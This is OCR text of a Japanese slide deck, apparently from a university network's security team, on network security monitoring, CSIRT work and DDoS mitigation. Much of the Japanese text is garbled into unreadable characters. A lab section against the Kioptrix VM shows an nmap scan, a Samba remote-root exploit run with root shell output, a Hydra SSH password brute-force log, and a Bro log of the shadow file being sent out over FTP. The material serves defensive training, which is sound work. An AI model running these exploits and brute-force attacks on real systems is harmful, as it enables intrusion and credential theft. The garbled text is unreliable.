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Pois LXIYFAOBERELER — FEYRY

® FF S DSecurityZ Y B IRNIR P HRAGREN BHBO YT —I8h
HETO)CEDEREMEIE. CHFLDEBYTT,

O C# . [HHREBZDIHE(IESITLLIOIM?

VIitxa)Ts —1.0!' ] 2> BEBRKMLGEEZANTETLVELY,
o (XEH=ZE FE FRSEEBEHtEX L) T4EI—),

vV SINET4E Tl BRA G HE Y —E RZREAN B Y,
v BRTIL. SINETIZI&. SOC, CSIRTHFFEFELZRLY,

® A (ARL— 3> CSIRT) . Hiffi. L—IL. ALK
VX2 TAHEYEBADYR—retX o) T4 EICx T HEER (L ?
e X)) TAHBIEANNILTARTERTLEIDESS, ]
o [H—EXDFEENKLHONLIDITES, ]
- BEELFE
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o SFEID =D 4D MD1R,

® H i
V X ) TR DEALEYLERTE
v 22307497 L—aVIEBRYEHR. SecureZiZ%E (15027001, NSA, ...)
v LoglBEREEHMT. /Ny MBHAESNT, AN, <L I T EM
® (5 M 1= &> D #H ik D 40 A (CSIRT, NOC, SOC)
vV FRE. EEEADERZME. HE

w

1

VAU T UG, XA TARICD-ODEELEE HAH A
VAU TUMNREDEZERE. RABRRGERKTIEE(TETUORZ]E)

vV BEEE M HERE

® )L—/JL/Policy
vV BN R EEENTINEER
VAU TUMEDOREZER, BEADHRRELGEDXICIZEET HIEREETS
vV Eontf=T—2 - FHORNITH T EHIEF EETH

o FlFAE . EEEE DMind Set* & L VR EE =%
vV ROLBNT-IL—ILDIEST, B DT —2-#3RXEH TFS,
V X 2T T—E2ERIEBDMRIE,

o L N—DORITTH, BFHIETEFE A,

O SINETEL TEX ) TR LEDE=OICR-TREZRE I 2?2 AN TELEN?

UM



’wm BHEID -8 DADNEE —FHE(L?

® Ffift
VX T4HEZR(IPS)NDIBIEIINGTT , 100%TEETIEHYEH A,
* False Positive/Negative, 52 E= X, Zero-DayH E, IlFS1t. ...
vV TENDELITH LT, BHEBEELEITFAIE0OFERLY,
® [ O 1= D #B#k D {EH8 A (CSIRT, SOC, NOC)
v 1E - BE 18 (Operation) D7 —-2270—hEEEL TLVE M ?
VAOUTUMNEDFRO RN (RPOED) A BHFEM ?
VIBINEERT AUMIELM? A A
® JL—JL/Policy
VIELALTRATZZEITGEND N ETHZENTH -1,
VAT UNEDORERER., EAFIABIROBREBEIER DA,
ViELON=T =2 BHROF™NITH T HEIFEIG - D ATIER DK,

o FI|FHE . EEE DMind Set* B L VR IR
VIBEAEEZ BYICEHREITNIEOWLD ! JTREICLTEIS ! |
vVIiT—4fEfL-o. BADBRERENAHOMO>TLED !

VINNYFZEHTHADIE. @EIFERE.. ]

7% 0



O BN AT LER., 3RTE. FIRAWKR., L—ILDILHE

@ ERY DEAN T EBRES ST (BTF) (1)

ViEEL CER - EIETETVVELES A ERL TV LM ?
* Configuration Management Database
* PRADS (Passive Real-time Asset Detection System)

* ExcelEMDEERIRIL......
VBT BH— N ENE T AREH—/NEA, B AV DR TR
L TULVELA?
* DMZIZELRZELD . FWDE T TFS5ED
VDLIEY DL AV T—ODE_ETHAISESLM?
s FWDT7 IR ANMACLIDRY L —IXEAFEIZRESTLNSM?
s BREIRIETLELM?
e IRY—[ZE DT, EEDISEYIDHEAYZEZATETLNSAMN?
VAT EEETULVS D ? (Syslog). ENTFZIFRIEYIRTRNTWNEMN? %
R TEHEEA BN HLIMN?

. Netflow < Packet String Data)< Full Packet Capture



@ BERY DEANN T EBRES ST (BT) (2)

SR D Y AT LB, BXE. FIRIRR. )L—ILDHE:

VIEE. EEEHEICISC=xt 0, #asDUpdatez LTINS ?
v EHIRIZ. BT BiHEKIZDLITVirus ScanlZLTLNEA M ?
- TBRDImKIE, BHTFS1,
Vil T. EEDOLEAMNEH-TLVSEMN?
* SCIRT, SOC, &R tzF¥ ) T2
« HEB.NFEA=21—
VEETE. R — IL—ILIFIERA T AT FRAIN TSN ?
VX1 TEEREIZEO>TLNAMN?

1. X T4 B TERSN-EEPRGLIARRET—5%

BEXE DX UMANHELZIZE (NWEMLGE) 2, EHEEIRE
T A=H12 NWIERITHE,

SINETEEIZE W\ TH, AT BRIBELEAGRIEERS

LEIT RADTET B1=OITNWDIERITLE,
) 2.

-

i
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v

AN N Y N NN

AN

AN

Open source search B Footprinting
_ ¢ 2LDBE . BRERA
Port Scan, OS detection HE Scanning THWEAX1TS,
85 .
List U.ser accc.)unjcs . v Eﬁﬂ@ﬁﬁ'ﬁ%'@*ﬁfﬂ
Identify application ‘Enum?ratlon ' v ?’E%{O)Bfﬁﬁﬂ?_;f/’é&
- . DEOITEHETT M7
Password sniffing A ) o A
Brute-forcing 2 A Gaining access vV TECOEREFETEA
T 1 | TULM=h? JEIEREIC
Password cracking HERREG : .. MIETCEAN?
known exploits  TE3RAF | Escalating privilege
!
Evaluate Trust Search for clear _

Pilfering
}

text passwords

Clear logs, Hide tools RIEHL i

i=i% Covering tracks
Create rogue user accounts,
Schedule batch jobs, plant 2= iz qE l
remc.)te Fontrol serv.lces, install Creating back doors
monitoring mechanism, etc
SYN flood, ICMP techniques, HEEEE 1L

DDoS/DoS +

Out of Bounds TCP option, etc. M 2&

Ref.
Stuart McClure, et.al., Hacking Exposed, 7t
Edition — Network Security Secrets & Solutions

7
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backtrack5Z AL =, D - DR ST HREIRE

Measploitld, 55 A

Snort, Suricata, BRO,
Wireshark, PRADS, nmap, ...

Kioptrix level 1
- Aquire “root” access
of this machine

p £ 0y
8! i |=8
Mg @ 5
(
i 10

!

!

!

!

!

!

o o v
N & &l v 0
!

!

!

!

!

!

!

I

ES
i
- o m m mm mm mm mm Em mm mm mm mm mm m my,

On VM 'Security Monitorth—/\

,:'\ (Security Onion) On VM |, HEH—/\ OnVM

Virtual Switch

\ VMware workstation on Windows 8.1 /
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& EF IR 15 CBackTrack5Z{E > 71—l :

DIERITADEN
root@bt:~# nmap -n -sTUV -pT:22,80,111,139,443,U:111,137 192.168.24.132 HE

..... SR
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 2.9p2 (protgegl 1 99

80/tcp open http Apache httpd 1.3.20
111/tcp open rpcbind 2 (RPC #100000)  elmiam I

l Currently Archiving 20574 Exploits
139/tcp open netbios-ssn Samba smbbd (workg DRTABASE /. )

A

PEW
“blog exploit

QB LI E
Y—ILDRE

root@bt:~# ./SambaVuln10 -b 0 192.168.24.1 :
samba-2.2.8 < remote root exploif by eSDee {;’\!’}’\f

Do you want to be a Professional Penetration Tester?

+ Bruteforce mode. (Linux)

+ Host is running samba. @COnCEpt of Proof
+ Worked! 03)&%&%?-?

*** JE MOET JE MUIL HOUWE

Linux kioptrix.levell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)
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A

& EF IR 15 CBackTrack5Z{E > 71—l :

+ Bruteforce mode. (Linux)

+ Host is running samba. @I —ERTEA

+ Worked!

*** JE MOET JE MUIL HOUWE

Linux kioptrix.levell 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

uid=0(root) gid=0(root) groups=99(nobody)

B=A

®IL—MMER T, kR LEZEXITS HERRENF
"RNEIT7AIVEEZD EERAF

-aTRESD
) —)LZEEYRAL ...

® TOWOT-HERT. I7MILZEEIE. /\X

D—RFZERE LRETIERX . HElL.. SEHL
passwd harold R
New password: lotsofPasswords .
Retype new password: lotsofPasswords = PR {E
Changing password for user harold

passwd: all authentication tokens updated successfully

¢Brute Force®)—JL T/NAJ—F
mEIHY—ILEIFET S

Target Passwords Tuning Specific | Start
Hydra v7.3 (c)2012 by van Hauser] JTHC & David Maciejak - for legal purposes anly

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-12 19:10:51
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abg
[DATA] 1 task, 1 server, 1707659 login tries (1:1/p:1707659), ~1707659 tries per task
[DATA] attacking service ssh on port 22
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "harold" - 1 of 1707659 [child 0]
2 of 1707659 [child 0]
- 4 of 1707659 [child 0]
i of 1707659 [child 0]
- 6 of 1707659 [child 0]
of 1707659 [child 0]
- 8 of 1707659 [child 0]
9 of 1707659 [child 0]
- 10 of 1707659 [child 0]
[2" - 11 of 1707659 [child 0]
child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass " -
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass " g"
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "

[ATTEMPT] target 192.168.24.132 - login "harold" -
[ATTEMPT] target 192.168.24.132 - login "harold" -
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "!magnus" - 13 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass "!power" - 14 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass ""A" SIDES" - 15 of 1707659 [child 0]

[ATTEMPT] target 192.168.24.132 - login "harold" - pass ""DETROIT" GARY & CC TH WIGGINS" - 16 of 1707659 [child 0]
[ATTEMPT] target 192.168.24.132 - login "harold" - pass "lotsofPasswords" - 17 of 1707659 [child 0]

[22]1[ssh] host: 192.168.24.132 login: harold password: lotsofPasswords 10
<finished >
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National Institute of Informatics

Firewall
Access blocked at the Firewall (L3, 4)

;t IPS (Intruder
Access blocked at the IPS (BB-AP) Prevention System)

Intruder attempts access, It blocked by AV AV
(Anti Virus)

&
<«

DLP(Data Loss Intruder reaches data, but
Prevention) denied by while exfiltrating

DRM(Digital Intruder exfiltrates data, but
Rights denied by DRM; B%& . BF1H
managements) mLgE

Defense in Depth: Ao, O, BS54 LAVRERE. ..
SINETD X2 TSV EBIEL. £EADH T, EQLILGBHHEIZGENIE KL ?

Ref.
Richard Bejtlich, The practice of network security monitoring — Understanding INCIDENT DETECTION AND RESPONSE 1
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®Vulnerability-Centric Defense (ex. IPS/IDS, FW)
v HEESEE DN (It At EE « FYKRITREILDLHAB,
vV ERRETS—k. Ny ERT, » * False Positive/Negative
VB RFre—R—2 To—hnHHhEE
vV EELT. BRFEDOHEREICK T HBER,

® Threat-Centric Defense (ex. NSM)

VX TAEZAEEEEA L BERREESS ° J; Mfa@T gﬁ

VIRBEWN(yiay Ny R—Z, @fl_ﬁfﬁw)ﬁ

v Collection + Detection + Analysisd S 1)L, ) ’f//?‘{bﬂfd)
S ForensiclZH %

v NW forensicl ZIAhE

oL T Nt KE -
O IRXFEDRL—FAT
OSINETHITONSBA{EI& (TR A 2

Ref.
Chris Sanders, et. al., Applied Network Security Monitoring - Collection, > Detectlon
Detection, and Analysis




’@mﬁw% Incidenth¥\g2=71-5 - Forensicx A4—hk

04//7-/#75@&,7“'&% .ETDRRAZREFILS, ESNT-E
#, tANDEEHE. ZHFET S
V1Pt E D7 5—h B hF—
o ECEBEZLTLM =DM
o TFAIEBEDNEZESNTIVELNM?
o« EYTENT=T7AILIFRID ? ExeZdio. MalwareD AT RETEIL ?
« BEN=T7AILIEEIH?
o 7o—bD LMozl RAMICHEDIHKICELBEZL TLVELM ?
VAaIZIET =208 E
o Tyl a T a2 N\ybT—anBNIE KYEHIZHhH S,
v IL—ILD5ElE -
s INTYENRFENTDTHEMNHLHZE
o LXaAYTARID—LEDINTYLAEBD DN TEBERLHDHE
« FMMYRT-BROTHELDELT

Ref.
Sherri DAVIDOFF, et. Al., Network Forensics — Tracking Hackers Through Cyberspace
Chris Sanders, et. al., Applied Network Security Monitoring - Collection, Detection, and Analysis 13
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O®CSIRT Forensic F—L. (§5=)
Vi LGS -in REBEL-NEPD M D iHRIZRIRE(XELN ?

VEBEFCO. WS Network Forensic Tools
OCSIRT OA—T 4R —hF—L -8 E

v BAREE~NORS. FHREAFGE = . Eete
®SOC F—L I |

v I ZREIERZMESE M E D im R (TR LA, T CICRIENE
v SRR DFTPDEF Rl Z HllBR L 7=FW ACLEX TE D B & &t

B BEOXIEEREEEFER-FELHEIEND—HA

14



’?Mﬁ?ﬁ*ﬁm Network Forensic - JRERME ?

& EF IR 15 CBackTrack5Z{E > 71—l :

®Network Forensic Tool (BRO(Open Source))zFi L\T*Forensmd)%ﬁ'iﬁ
vV H—/\DRIT/\NrybEFvTF+ (Security Onion) -
v BROIZKY vl aViglT—2%HEK. RE e

A

ujinfiey ©
®ORARIZ, iIZEnfzOM? N — 1
SRy aT—4 ===
1399888506.156569 Cg9GGd3c9hFEhjlJC2 192.168.24.131 33676 192.168.24.2 53 udp dns

1399888541.792922 CYbKXA4hYLIYGJ6FCh 192.168.24.132 1027 192.168.24.131 61529 tcp ftp-data
1399888543.820839 CQRPKKKhqH74jXY)6 192.168.24.132 1028 192.168.24.131 51083 tcp ftp-data
1399888506.154524 COGgPg2YyIR8XUE2v6 192.168.24.132 1026 192.168.24.131 21 tcp  ftp
1399888487.895784 CQyk9q4l6LrNQGYRV5 192.168.24.131 50428 192.168.24.132 45295 tcp -

FIPORI AV T —4

1399888541.792345 COGgPg2YyIR8XuE2v6 192.168.24.132 1026 192.168.24.131 21 ftplogin <hidden> PASV
Entering Passive Mode (192,168,24,131,240,89) ......

1399888541.793302 COGgPg2YyIR8XuE2v6 192.168.24.132 1026 192.168.24.131 21 ftplogin <hidden> STOR
ftp://192.168.24.131/./shadow

1399888543.820589 COGgPg2YyIR8XuE2v6 192. 168 24 132 1026 192.168.24.131 21 ftplogin <hidden> PASV
Entering Passive Mode (192,168,24,131,199,139) ..........

(X WEITHNSFTPTI7ZAINEZFENTWVEL =, BV aVFERICIE,
fhlZ$ K2 ZDIRIA.... 15
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® CSIRT Forensic F— .1
VIELWI7ZAILIE?

VI DExeD I 7AILEEYIAFEN TV =5, Cuckoo
RILDITDNEIIDH| BT

2L e I\ *ﬁ'
- BHITFHHS
Malware? Tear it apart, discover its ins and outs and collect
o YAN cuc oo actionable threat data. Cuckoo is the leading open source
b E ﬁ'] T@J E"] 7] *ﬁ automated malware analysis system.

Get oo!
. H—EXHYAk o
TEAM CYMRU “

TEAM CYMRU =
COMMUNITY SERVICES COMMERCIAL SERVICES v
- About Download Participate
Team Cymru Research NFP Is a specialized Intemnet security research firm and 501(c)3 non-profit dedic » Sian In | Regist
identify and eradicate problems in their networks, providing insight that improves lives Being able to. Sign In | Reqister

operate is the
Sandbox help:
and automate

ThreatExpert e Repor: (B 2l

Want to search threats?
HyXMDoeCMeq | Jack Bauer would be proud (ref latest series of "24') as ‘Hack-proof’ drone is revealed by the Pentagon (cha

Read more »

TEAM CYMRU Submit Sample
COMMUNITY RECENT DATA 1 jadssadassdanas
SERVICES ‘ SN ¥ Welcome to ThreatExpert
Top 10 UDP Ports (logarithmic scale)
ThreatExpert is 2n advanced automated thraat analysis systam designad to analyze and report the behavior of computer viruses,
b NEWS This chart shows the top 10 UDP ports seen in sampled global Inter worms, trojans, sdware, spyware, and other security-related risks in a fully automated mode.
‘“‘,f difierence between the top port (usually UDP/53) and the bottom perl
b SERVIGES \f In only = few minutes ThreatExpert can process a sample and generate a highly detailed threat report vith the level of technical detail
—

that matches or exceeds antivirus industry stsndards such as those normally found in online virus =ncyclopedias.

P MONITORING Learn More 3%
&

P READING ROOM
& el

] Malware || Adware | S D
b ABOUTUS VirusTotal (2, SERULLYZ7-0L URL E4HF 5 BRADT —£ 27T, 9L _ : SSNGEphG Distribiution of phrealy
= § N e a s e 7L FOHOES BODLEEGTILY  PERSGRHTELT, VR e
onate LR s china ' many
rojan.Posuper pafl

Dozl @URL QigsE

Russian

Worm.Hamweg.Gen Faderation

Worm.IM.Schanad . Federation United States
Teal l l CVI I lru Application.Ardamazx_Keylogger W e== K‘:‘"g"‘f;: China
PrAIEBRLTLEEA 77 LEER
! L Email-Worm.Brontok [ | U_"‘tid _
P DRAT A 64 MB Kingdom Brazil
Win32.Virut.Gen.5 . United
TR TBIE o OB T~ AHRRRITRIRUS: R, Z 0775 i Stutes
VirusTotel #0425 £ 22 2 7 (THE TR HITRBL A RALE T, saustnbpmsre At W ser Russian
HHIT TS0 — AT LT,
|

Garmany

virustotal ThreatExpert

16
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® CSIRT Forensic F—L4s (=)
v WEFEBHONSHEETH (Reputation) & ?

M A L

Malware Domain List | Forums | Recent Updates | RSS update feed | Contact us

WARNING: All domains on this website should be considered dangerous. If you do
not know what you are doing here, it is recommended you leave right away. This
M ~ |\ IV website is a resource for security professionals and enthusiasts.

A1 (<L

Query Malware Domain List or alternatively,

DO m a I n LI St Submit malware urls and share information in our Forums

TRACKER

Home | News | FAQ | SpyEye Blocklist | SpyEye Tracker | RSS Feeds | Removals | Contact | Links
Welcome to SpyEye Tracker

The SpyEye Tracker is another project by abuse.ch. It is similar to the ZeuS Tracker with the slight difference that SpyEye Tracker tracks and monitors malicious SpyEye
Command&Control Servers (and not ZeuS C&Cs). SpyEye Tracker provides blocklists in different formats (eg. for Squid Web-Proxy or iptables) to aveid that infected clients can
access the C&C servers. Additionally, SpyEye Tracker should help 1SPs, CERTs and Law Enforcement to track malicious SpyEye C&C servers which are their responsibility.

Here are some quick statistics about the SpyEye Trojan:
« SevEve CaC serverstracked: 22 Spyeve Tracker
 SpyEye C&C servers online: 1

pyEye C&C servers with files online: 0

uS Tracker

Welcome to the ZeusS Tracker

Zeus Tracker tracks ZeuS CommandaControl servers (hosts) around the world and provides you a domain- and a IP-blocklist. If you have any questions
please take a look into the FAQ or send me a email (contact).

Here are some quick statistics about the ZeuS crimeware:

* ZeuS CAC servers tracked: 1051 Ze u s Tra C ke r
* ZeuS C&C servers online: 452

® ZeuS C&C servers with files online: 41

* ZeuS FakeURLs tracked: 1

 Zeus FakeURLs online: 0

e Average ZeuS binary Antivirus detection rate: 39.47%

You can find more interesting statistics about the ZeuS crimeware on the ZeuS Tracker statistic page.
The map below shows a dot for each ZeuS Command&Control server (ip or domain).

IP Address Blacklist Checker Tool

In a nutshell, IPVoid is a free service used to scan an IP address through multiple

USEFUL SERVICES

DNS-based blacklists and IP reputation services, to facilitate the detection of IP

s
addresses involved in malware incidents and spamming acti s. The usage is very Check Website Reputation

simple, just insert the IP address in the form below and press the button. s Anti-Executable Software

IP Void > Fast Folder Eraser Pro

» Open Multiple URLs at Once

Website Reputation Checker Tool ¥ oo Lo

In a nutshell, URLVoid is a free service that analyzes a website through multiple blacklist

engines and online reputation tools to facilitate the detection of fraudulent and

USEFUL SERVICES

malicious websites. This service helps you to identify websites involved in malware

incidents, fraudulent activities and phishing websites. > |P Address Blacklist Check

U R L Void s Anti-Executable Software

» Fast Folder Eraser Pro

BLOCK

these

WATCH

for these

High confidence
bad actor information
is passed back to

participants for
application in local
protections

ctors

Correlation
provides a
confidence
rating and

& identification of

bad actors

ﬁ ﬂ ﬂ Information  3rd Party
Sharing data
Participating Sites Relationships  sources

NREN-ISACIZ & BIntelligence £
(Collective Intelligence Framework)




’ggﬁﬁgm SINETSIZHITAHEFX ) T458ED =8I

03 DMNDRAk
OSINETRYR D —OB B NDtEx ) T45#1E
VXTI ERERTE

v DDoS Mitigation
vV IEHRD AR 1L
O MERA~DEX1)TsXIE
v SRR T DRIEFW, IPSICK S Y HR—k

V BRIDT=6H 005 AT EEE (SIEMESR) EARL—2 33 —E X (SINET SOC
(x))

D %%7]” *g% F;g & 0) E*% SIEM : Security Information and Event Management

v/ SINET CSIRT({R) [Z & B E
vV IIL—ILIEE g

®Pros and Cons, IHZE4H

. BEEETHY. BARNRBESHIZLOTY  HRALEEE RREK
EZHEFAT. SRABHDEDLSAIREENDYET . CEMBLET .




’wmm SINET# v F7—4Y BEO+EX2 YT 131t
(f51) DDoS Mitigationxt sk — BGPHLIEHERED i A

DDoSHE(ZXfL . SINETEARD LI TH U TESLLS(ZT SiEReF 18 EIZ Xk 5b581E,
%oﬁﬂbhf—iﬁ‘ﬁil KAREBNWHS D ILEE

SAERNW NS D I EE

— DDoS[f1E - DDoSRf1E
DDoSEZ%% u 74’)1/’5"&#_ 74};&@ ’
S o \ S DDoSK &
BGP fLaRIEREZFIA . NW= S~ S~
{KIZDDoSIE#RZE AN . IRE RN S |
—RADTCP FloodZi & RV \
DDoSkSEVVHIBD T4 IL 3 SINETS - *\:\\ ' SINET SOC ({fx) SOC
MEEZ R E . BEISE D, I Security Operation
__________:;}) Center
————————————— .
,,,,, bedy
DDoSRLE “
e S B BDCIFiRY 55 MiEr 1+
E3) D EELTCP Flood D DDoSHE R %
FSEVO TN IR

BGPh iR BE (flowspec)
Ref. RFC5575

19
XHMEINRENEH X, SER—(Z5REL,




@i (BE) GEANTOSEW| - DDoSTHEHIFH—E R

Firewall on Demand ... Tomorrow

*‘i\‘

GEARRE

NSHaRP Customer or GN NOC
logs into web tool and describes
flows and actions

Flow destination is validated
against the customer’s IP space

Dedicated router is configured to
advertise the route via BGP
flowspec

IBGP propagates the tuples to all
GEANT routers.

Dynamic firewall filters are
implemented on all routers

Attack is mitigated (dropped,
rated-limited) upon entrance

End of attack: Removal via the
tool, or auto-expire

Customer

Credit: Andreas Polyrakis, GRNET

¥ GRNET NOC, DANTE, JuniperlZ&kdinternet2 Global Summit 2014(2E 1T 5 FE KR SR
Firewall on Demand Multi-domain — SECURITY VIA BGP FLOWSPEC & A WEB PLATFORM



REHIMERZIPSTFERE BRI 5D TIXEKL,

T T EICKBIPSHRZHRE. (REILTA TISAT U ABIZ&LSD =0
WE=ERICKYEEaXMEIRZER S AN 7— #7’79'-)('*” Alert(F#R
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GEANT Security

\N./Sl_l/\ R P X HEAELT, EE
i i 1) 1)
® Complete Security Solution - NSHaRP GE'ZEET'\J)C;SATT?% 2

NETWORK SECURITY HANDLING NSHARPAVER 12 & #EL T
AND RESPONSE PROCESS WBHEE D THEA .
EETHD,

® |tis a mechanism to quickly and effectively inform affected users of
incidents detected transiting the GEANT network dynamically.

@® It adds value by serving as an extension to an NRENs CERT, by adding
visibility to incidents targeting or originating from your network

® Innovative and Unique - Caters for different types of requirements

....Is a process that will enhance GEANT backbone security and will
extend the NRENs ability to protect their infrastructure....

connect - communicate - collaborate

30

¥ GRNET NOC, DANTE, JuniperlZ&klnternet2 Global Summit 201428 1T 5 R DR
Firewall on Demand Multi-domain — SECURITY VIA BGP FLOWSPEC & A WEB PLATFORM



e [zxa1!)T74 —10"'"] ML . FFIXBFERIZ. X
T4 1.0' | ANEEIELELVE!

® A (ARL—3> CSIRT) . Hfff. IL—IL. /AR LY
TNELREBTHY. —DTERITHESIELLDELY,
V X T HEEENTELLTOVIIL—IL RIEBEADYR—
vV ZEEHER. B

® Defense in DepthD FH{HIERRE D LEM T, SINETHTESZE
vV RE|DIEOMEM (SINET or EfiSNT=SNH4ET)

@ tXa1!)T4OAZ 2 =TADRE -
v SINHERE & DEHE (CSIRT) @ @
~

v RRER. /NI E DIEHR IR
V AT T UM IS D A
vV 8RN AMEZHLEST!



